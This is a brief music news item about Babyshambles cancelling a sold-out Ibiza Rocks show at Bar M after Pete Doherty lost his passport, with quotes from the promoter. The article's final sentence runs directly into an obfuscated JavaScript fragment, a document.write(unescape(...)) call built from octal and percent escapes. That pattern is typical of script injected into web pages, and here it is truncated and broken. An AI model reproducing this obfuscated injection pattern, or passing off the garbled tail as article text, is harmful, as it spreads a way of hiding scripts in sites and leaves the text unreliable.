Babyshambles failed to play their Ibiza Rocks gig yesterday (August 14).
Singer Pete Doherty told organisers that he had lost his passport, and his attempts to obtain a temporary one had been rejected.
The band were due to headline a sold out show with The Futureheads at Bar M in San Antonio.
Ibiza Rocks promoter Andy McKay told NME.COM: "We're really disappointed that the rescheduled Ibiza Rocks Babyshambles gig at Bar M had to be cancelled at the last minute.
"It was sold out and everybody on the island was really hyped about it, but the problem with Pete's passport was genuine and despite a lot of effort by him and us to do so, it just couldn't be sorted at such short notice.
We're already trying to get another date sorted for September..hopefully it will be a case of third time lucky!"
Babyshambles were due to play Bar M earlier this month, but backed out due to Doherty's rehab treatment.document.write(unescape('\04564%6F%63um\145%6Et.%77r%69t\145\04528u%6E\04565s\04563ap\04565\04528\047\045253C%21%5C0\0645\062D%252D\047)\051;